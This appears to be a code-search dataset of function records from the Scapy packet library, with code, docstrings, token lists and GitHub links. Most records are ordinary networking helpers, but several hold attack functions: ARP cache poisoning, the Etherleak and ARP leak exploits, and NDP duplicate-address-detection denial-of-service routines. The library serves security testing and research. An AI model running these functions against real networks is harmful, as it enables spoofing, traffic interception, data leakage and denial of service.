[ "def", "getmacbyip", "(", "ip", ",", "chainCC", "=", "0", ")", ":", "if", "isinstance", "(", "ip", ",", "Net", ")", ":", "ip", "=", "next", "(", "iter", "(", "ip", ")", ")", "ip", "=", "inet_ntoa", "(", "inet_aton", "(", "ip", "or", "\"0.0.0.0\""...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
arpcachepoison
Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None
scapy/layers/l2.py
def arpcachepoison(target, victim, interval=60): """Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None """ tmac = getmacbyip(target) p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target) try: while True: sendp(p,...
def arpcachepoison(target, victim, interval=60): """Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None """ tmac = getmacbyip(target) p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target) try: while True: sendp(p,...
[ "Poison", "target", "s", "cache", "with", "(", "your", "MAC", "victim", "s", "IP", ")", "couple", "arpcachepoison", "(", "target", "victim", "[", "interval", "=", "60", "]", ")", "-", ">", "None" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L595-L608
[ "def", "arpcachepoison", "(", "target", ",", "victim", ",", "interval", "=", "60", ")", ":", "tmac", "=", "getmacbyip", "(", "target", ")", "p", "=", "Ether", "(", "dst", "=", "tmac", ")", "/", "ARP", "(", "op", "=", "\"who-has\"", ",", "psrc", "="...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
is_promisc
Try to guess if target is in Promisc mode. The target is provided by its ip.
scapy/layers/l2.py
def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs): """Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501 responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501 ret...
def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs): """Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501 responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501 ret...
[ "Try", "to", "guess", "if", "target", "is", "in", "Promisc", "mode", ".", "The", "target", "is", "provided", "by", "its", "ip", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L640-L645
[ "def", "is_promisc", "(", "ip", ",", "fake_bcast", "=", "\"ff:ff:00:00:00:00\"", ",", "*", "*", "kargs", ")", ":", "# noqa: E501", "responses", "=", "srp1", "(", "Ether", "(", "dst", "=", "fake_bcast", ")", "/", "ARP", "(", "op", "=", "\"who-has\"", ",",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
promiscping
Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)
scapy/layers/l2.py
def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net), filter="arp and arp[7] = 2", timeout=time...
def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net), filter="arp and arp[7] = 2", timeout=time...
[ "Send", "ARP", "who", "-", "has", "requests", "to", "determine", "which", "hosts", "are", "in", "promiscuous", "mode", "promiscping", "(", "net", "iface", "=", "conf", ".", "iface", ")" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L649-L657
[ "def", "promiscping", "(", "net", ",", "timeout", "=", "2", ",", "fake_bcast", "=", "\"ff:ff:ff:ff:ff:fe\"", ",", "*", "*", "kargs", ")", ":", "ans", ",", "unans", "=", "srp", "(", "Ether", "(", "dst", "=", "fake_bcast", ")", "/", "ARP", "(", "pdst",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
etherleak
Exploit Etherleak flaw
scapy/layers/l2.py
def etherleak(target, **kargs): """Exploit Etherleak flaw""" return srp(Ether() / ARP(pdst=target), prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501 filter="arp", **kargs)
def etherleak(target, **kargs): """Exploit Etherleak flaw""" return srp(Ether() / ARP(pdst=target), prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501 filter="arp", **kargs)
[ "Exploit", "Etherleak", "flaw" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L728-L732
[ "def", "etherleak", "(", "target", ",", "*", "*", "kargs", ")", ":", "return", "srp", "(", "Ether", "(", ")", "/", "ARP", "(", "pdst", "=", "target", ")", ",", "prn", "=", "lambda", "s_r", ":", "conf", ".", "padding_layer", "in", "s_r", "[", "1",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
arpleak
Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc
scapy/layers/l2.py
def arpleak(target, plen=255, hwlen=255, **kargs): """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} for pkt in ARP(pdst=target): # We have to do some of Scapy's ...
def arpleak(target, plen=255, hwlen=255, **kargs): """Exploit ARP leak flaws, like NetBSD-SA2017-002. https://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2017-002.txt.asc """ # We want explicit packets pkts_iface = {} for pkt in ARP(pdst=target): # We have to do some of Scapy's ...
[ "Exploit", "ARP", "leak", "flaws", "like", "NetBSD", "-", "SA2017", "-", "002", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L736-L785
[ "def", "arpleak", "(", "target", ",", "plen", "=", "255", ",", "hwlen", "=", "255", ",", "*", "*", "kargs", ")", ":", "# We want explicit packets", "pkts_iface", "=", "{", "}", "for", "pkt", "in", "ARP", "(", "pdst", "=", "target", ")", ":", "# We ha...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
dns_get_str
This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param pointer: first pointer on the string (default: 0) :param pkt: (optional) an InheritOriginDNSStrPacket packet :returns: (decoded_string, end_index, left_string)
scapy/layers/dns.py
def dns_get_str(s, pointer=0, pkt=None, _fullpacket=False): """This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param pointer: first pointer on the string (default: 0) :param pkt: (optional) an InheritOriginDNSStrPacket packet :returns...
def dns_get_str(s, pointer=0, pkt=None, _fullpacket=False): """This function decompresses a string s, starting from the given pointer. :param s: the string to decompress :param pointer: first pointer on the string (default: 0) :param pkt: (optional) an InheritOriginDNSStrPacket packet :returns...
[ "This", "function", "decompresses", "a", "string", "s", "starting", "from", "the", "given", "pointer", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L30-L102
[ "def", "dns_get_str", "(", "s", ",", "pointer", "=", "0", ",", "pkt", "=", "None", ",", "_fullpacket", "=", "False", ")", ":", "# The _fullpacket parameter is reserved for scapy. It indicates", "# that the string provided is the full dns packet, and thus", "# will be the same...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
dns_encode
Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string
scapy/layers/dns.py
def dns_encode(x, check_built=False): """Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string """ if not x or x == b".": return b"\x00" if check_built and b"." not in x an...
def dns_encode(x, check_built=False): """Encodes a bytes string into the DNS format :param x: the string :param check_built: detect already-built strings and ignore them :returns: the encoded bytes string """ if not x or x == b".": return b"\x00" if check_built and b"." not in x an...
[ "Encodes", "a", "bytes", "string", "into", "the", "DNS", "format" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L105-L125
[ "def", "dns_encode", "(", "x", ",", "check_built", "=", "False", ")", ":", "if", "not", "x", "or", "x", "==", "b\".\"", ":", "return", "b\"\\x00\"", "if", "check_built", "and", "b\".\"", "not", "in", "x", "and", "(", "orb", "(", "x", "[", "-", "1",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
dns_compress
This function compresses a DNS packet according to compression rules.
scapy/layers/dns.py
def dns_compress(pkt): """This function compresses a DNS packet according to compression rules. """ if DNS not in pkt: raise Scapy_Exception("Can only compress DNS layers") pkt = pkt.copy() dns_pkt = pkt.getlayer(DNS) build_pkt = raw(dns_pkt) def field_gen(dns_pkt): """Itera...
def dns_compress(pkt): """This function compresses a DNS packet according to compression rules. """ if DNS not in pkt: raise Scapy_Exception("Can only compress DNS layers") pkt = pkt.copy() dns_pkt = pkt.getlayer(DNS) build_pkt = raw(dns_pkt) def field_gen(dns_pkt): """Itera...
[ "This", "function", "compresses", "a", "DNS", "packet", "according", "to", "compression", "rules", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L134-L214
[ "def", "dns_compress", "(", "pkt", ")", ":", "if", "DNS", "not", "in", "pkt", ":", "raise", "Scapy_Exception", "(", "\"Can only compress DNS layers\"", ")", "pkt", "=", "pkt", ".", "copy", "(", ")", "dns_pkt", "=", "pkt", ".", "getlayer", "(", "DNS", ")"...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
RRlist2bitmap
Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record.
scapy/layers/dns.py
def RRlist2bitmap(lst): """ Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record. """ # RFC 4034, 4.1.2. The Type Bit Maps Field import math bitmap = b"" lst = [abs(x) for x in sorted(set(lst)) if x <= 65535] # number of window...
def RRlist2bitmap(lst): """ Encode a list of integers representing Resource Records to a bitmap field used in the NSEC Resource Record. """ # RFC 4034, 4.1.2. The Type Bit Maps Field import math bitmap = b"" lst = [abs(x) for x in sorted(set(lst)) if x <= 65535] # number of window...
[ "Encode", "a", "list", "of", "integers", "representing", "Resource", "Records", "to", "a", "bitmap", "field", "used", "in", "the", "NSEC", "Resource", "Record", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L550-L599
[ "def", "RRlist2bitmap", "(", "lst", ")", ":", "# RFC 4034, 4.1.2. The Type Bit Maps Field", "import", "math", "bitmap", "=", "b\"\"", "lst", "=", "[", "abs", "(", "x", ")", "for", "x", "in", "sorted", "(", "set", "(", "lst", ")", ")", "if", "x", "<=", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
dyndns_add
Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136
scapy/layers/dns.py
def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find("....
def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find("....
[ "Send", "a", "DNS", "add", "message", "to", "a", "nameserver", "for", "name", "to", "have", "a", "new", "rdata", "dyndns_add", "(", "nameserver", "name", "rdata", "type", "=", "A", "ttl", "=", "10", ")", "-", ">", "result", "code", "(", "0", "=", "...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L890-L906
[ "def", "dyndns_add", "(", "nameserver", ",", "name", ",", "rdata", ",", "type", "=", "\"A\"", ",", "ttl", "=", "10", ")", ":", "zone", "=", "name", "[", "name", ".", "find", "(", "\".\"", ")", "+", "1", ":", "]", "r", "=", "sr1", "(", "IP", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
TimeSignedField._convert_seconds
Unpack the internal representation.
scapy/layers/dns.py
def _convert_seconds(self, packed_seconds): """Unpack the internal representation.""" seconds = struct.unpack("!H", packed_seconds[:2])[0] seconds += struct.unpack("!I", packed_seconds[2:])[0] return seconds
def _convert_seconds(self, packed_seconds): """Unpack the internal representation.""" seconds = struct.unpack("!H", packed_seconds[:2])[0] seconds += struct.unpack("!I", packed_seconds[2:])[0] return seconds
[ "Unpack", "the", "internal", "representation", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L776-L780
[ "def", "_convert_seconds", "(", "self", ",", "packed_seconds", ")", ":", "seconds", "=", "struct", ".", "unpack", "(", "\"!H\"", ",", "packed_seconds", "[", ":", "2", "]", ")", "[", "0", "]", "seconds", "+=", "struct", ".", "unpack", "(", "\"!I\"", ","...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
TimeSignedField.h2i
Convert the number of seconds since 1-Jan-70 UTC to the packed representation.
scapy/layers/dns.py
def h2i(self, pkt, seconds): """Convert the number of seconds since 1-Jan-70 UTC to the packed representation.""" if seconds is None: seconds = 0 tmp_short = (seconds >> 32) & 0xFFFF tmp_int = seconds & 0xFFFFFFFF return struct.pack("!HI", tmp_short, tmp...
def h2i(self, pkt, seconds): """Convert the number of seconds since 1-Jan-70 UTC to the packed representation.""" if seconds is None: seconds = 0 tmp_short = (seconds >> 32) & 0xFFFF tmp_int = seconds & 0xFFFFFFFF return struct.pack("!HI", tmp_short, tmp...
[ "Convert", "the", "number", "of", "seconds", "since", "1", "-", "Jan", "-", "70", "UTC", "to", "the", "packed", "representation", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L782-L792
[ "def", "h2i", "(", "self", ",", "pkt", ",", "seconds", ")", ":", "if", "seconds", "is", "None", ":", "seconds", "=", "0", "tmp_short", "=", "(", "seconds", ">>", "32", ")", "&", "0xFFFF", "tmp_int", "=", "seconds", "&", "0xFFFFFFFF", "return", "struc...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
TimeSignedField.i2repr
Convert the internal representation to a nice one using the RFC format.
scapy/layers/dns.py
def i2repr(self, pkt, packed_seconds): """Convert the internal representation to a nice one using the RFC format.""" time_struct = time.gmtime(self._convert_seconds(packed_seconds)) return time.strftime("%a %b %d %H:%M:%S %Y", time_struct)
def i2repr(self, pkt, packed_seconds): """Convert the internal representation to a nice one using the RFC format.""" time_struct = time.gmtime(self._convert_seconds(packed_seconds)) return time.strftime("%a %b %d %H:%M:%S %Y", time_struct)
[ "Convert", "the", "internal", "representation", "to", "a", "nice", "one", "using", "the", "RFC", "format", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/dns.py#L803-L807
[ "def", "i2repr", "(", "self", ",", "pkt", ",", "packed_seconds", ")", ":", "time_struct", "=", "time", ".", "gmtime", "(", "self", ".", "_convert_seconds", "(", "packed_seconds", ")", ")", "return", "time", ".", "strftime", "(", "\"%a %b %d %H:%M:%S %Y\"", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
GMLAN.answers
DEV: true if self is an answer from other
scapy/contrib/automotive/gm/gmlan.py
def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return (other.service + 0x40) == self.service or \ (self.service == 0x7f and (self.requestServiceId == other.service)) return 0
def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return (other.service + 0x40) == self.service or \ (self.service == 0x7f and (self.requestServiceId == other.service)) return 0
[ "DEV", ":", "true", "if", "self", "is", "an", "answer", "from", "other" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/automotive/gm/gmlan.py#L88-L94
[ "def", "answers", "(", "self", ",", "other", ")", ":", "if", "other", ".", "__class__", "==", "self", ".", "__class__", ":", "return", "(", "other", ".", "service", "+", "0x40", ")", "==", "self", ".", "service", "or", "(", "self", ".", "service", ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
neighsol
Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as source of the message. Message is sent on iface. By default, timeout waiting for an...
scapy/layers/inet6.py
def neighsol(addr, src, iface, timeout=1, chainCC=0): """Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as source of the message. Mes...
def neighsol(addr, src, iface, timeout=1, chainCC=0): """Sends and receive an ICMPv6 Neighbor Solicitation message This function sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address address. 'src' address is used as source of the message. Mes...
[ "Sends", "and", "receive", "an", "ICMPv6", "Neighbor", "Solicitation", "message" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L85-L107
[ "def", "neighsol", "(", "addr", ",", "src", ",", "iface", ",", "timeout", "=", "1", ",", "chainCC", "=", "0", ")", ":", "nsma", "=", "in6_getnsma", "(", "inet_pton", "(", "socket", ".", "AF_INET6", ",", "addr", ")", ")", "d", "=", "inet_ntop", "(",...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
getmacbyip6
Returns the MAC address corresponding to an IPv6 address neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to perform the resolution, if needed)
scapy/layers/inet6.py
def getmacbyip6(ip6, chainCC=0): """Returns the MAC address corresponding to an IPv6 address neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to per...
def getmacbyip6(ip6, chainCC=0): """Returns the MAC address corresponding to an IPv6 address neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to per...
[ "Returns", "the", "MAC", "address", "corresponding", "to", "an", "IPv6", "address" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L111-L150
[ "def", "getmacbyip6", "(", "ip6", ",", "chainCC", "=", "0", ")", ":", "if", "isinstance", "(", "ip6", ",", "Net6", ")", ":", "ip6", "=", "str", "(", "ip6", ")", "if", "in6_ismaddr", "(", "ip6", ")", ":", "# Multicast", "mac", "=", "in6_getnsmac", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
in6_chksum
As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension head...
scapy/layers/inet6.py
def in6_chksum(nh, u, p): """ As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all und...
def in6_chksum(nh, u, p): """ As Specified in RFC 2460 - 8.1 Upper-Layer Checksums Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all und...
[ "As", "Specified", "in", "RFC", "2460", "-", "8", ".", "1", "Upper", "-", "Layer", "Checksums" ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L563-L619
[ "def", "in6_chksum", "(", "nh", ",", "u", ",", "p", ")", ":", "ph6", "=", "PseudoIPv6", "(", ")", "ph6", ".", "nh", "=", "nh", "rthdr", "=", "0", "hahdr", "=", "0", "final_dest_addr_found", "=", "0", "while", "u", "is", "not", "None", "and", "not...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
defragment6
Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters.
scapy/layers/inet6.py
def defragment6(packets): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ # Remove non fragments lst = [x for x in packets if IPv6ExtHdrFragment in x] if not lst: return [] id = lst[0...
def defragment6(packets): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ # Remove non fragments lst = [x for x in packets if IPv6ExtHdrFragment in x] if not lst: return [] id = lst[0...
[ "Performs", "defragmentation", "of", "a", "list", "of", "IPv6", "packets", ".", "Packets", "are", "reordered", ".", "Crap", "is", "dropped", ".", "What", "lacks", "is", "completed", "by", "X", "characters", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1027-L1078
[ "def", "defragment6", "(", "packets", ")", ":", "# Remove non fragments", "lst", "=", "[", "x", "for", "x", "in", "packets", "if", "IPv6ExtHdrFragment", "in", "x", "]", "if", "not", "lst", ":", "return", "[", "]", "id", "=", "lst", "[", "0", "]", "["...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
fragment6
Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragment class, it is returned in result li...
scapy/layers/inet6.py
def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragm...
def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragm...
[ "Performs", "fragmentation", "of", "an", "IPv6", "packet", ".", "Provided", "packet", "(", "pkt", ")", "must", "already", "contain", "an", "IPv6ExtHdrFragment", "()", "class", ".", "fragSize", "argument", "is", "the", "expected", "maximum", "size", "of", "frag...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L1081-L1168
[ "def", "fragment6", "(", "pkt", ",", "fragSize", ")", ":", "pkt", "=", "pkt", ".", "copy", "(", ")", "if", "IPv6ExtHdrFragment", "not", "in", "pkt", ":", "# TODO : automatically add a fragment before upper Layer", "# at the moment, we do nothing and return initial ...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
names2dnsrepr
Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implemented !!!
scapy/layers/inet6.py
def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implement...
def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implement...
[ "Take", "as", "input", "a", "list", "of", "DNS", "names", "or", "a", "single", "DNS", "name", "and", "encode", "it", "in", "DNS", "format", "(", "with", "possible", "compression", ")", "If", "a", "string", "that", "is", "already", "a", "DNS", "name", ...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L2244-L2265
[ "def", "names2dnsrepr", "(", "x", ")", ":", "if", "isinstance", "(", "x", ",", "bytes", ")", ":", "if", "x", "and", "x", "[", "-", "1", ":", "]", "==", "b'\\x00'", ":", "# stupid heuristic", "return", "x", "x", "=", "[", "x", "]", "res", "=", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
dnsrepr2names
Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list.
scapy/layers/inet6.py
def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] c...
def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] c...
[ "Take", "as", "input", "a", "DNS", "encoded", "string", "(", "possibly", "compressed", ")", "and", "returns", "a", "list", "of", "DNS", "names", "contained", "in", "it", ".", "If", "provided", "string", "is", "already", "in", "printable", "format", "(", ...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L2268-L2293
[ "def", "dnsrepr2names", "(", "x", ")", ":", "res", "=", "[", "]", "cur", "=", "b\"\"", "while", "x", ":", "tmp_len", "=", "orb", "(", "x", "[", "0", "]", ")", "x", "=", "x", "[", "1", ":", "]", "if", "not", "tmp_len", ":", "if", "cur", "and...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
_NDP_Attack_DAD_DoS
Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below.
scapy/layers/inet6.py
def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below. """ def is_request(req, mac_src_f...
def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below. """ def is_request(req, mac_src_f...
[ "Internal", "generic", "helper", "accepting", "a", "specific", "callback", "as", "first", "argument", "for", "NS", "or", "NA", "reply", ".", "See", "the", "two", "specific", "functions", "below", "." ]
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3380-L3429
[ "def", "_NDP_Attack_DAD_DoS", "(", "reply_callback", ",", "iface", "=", "None", ",", "mac_src_filter", "=", "None", ",", "tgt_filter", "=", "None", ",", "reply_mac", "=", "None", ")", ":", "def", "is_request", "(", "req", ",", "mac_src_filter", ",", "tgt_fil...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NDP_Attack_DAD_DoS_via_NS
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By defau...
scapy/layers/inet6.py
def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS...
def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS...
[ "Perform", "the", "DAD", "DoS", "attack", "using", "NS", "described", "in", "section", "4", ".", "1", ".", "3", "of", "RFC", "3756", ".", "This", "is", "done", "by", "listening", "incoming", "NS", "messages", "sent", "from", "the", "unspecified", "addres...
secdev/scapy
python
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/inet6.py#L3432-L3485
[ "def", "NDP_Attack_DAD_DoS_via_NS", "(", "iface", "=", "None", ",", "mac_src_filter", "=", "None", ",", "tgt_filter", "=", "None", ",", "reply_mac", "=", "None", ")", ":", "def", "ns_reply_callback", "(", "req", ",", "reply_mac", ",", "iface", ")", ":", "\...
3ffe757c184017dd46464593a8f80f85abc1e79a
train
NDP_Attack_DAD_DoS_via_NA
Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a NA reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By def...
scapy/layers/inet6.py
def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a ...
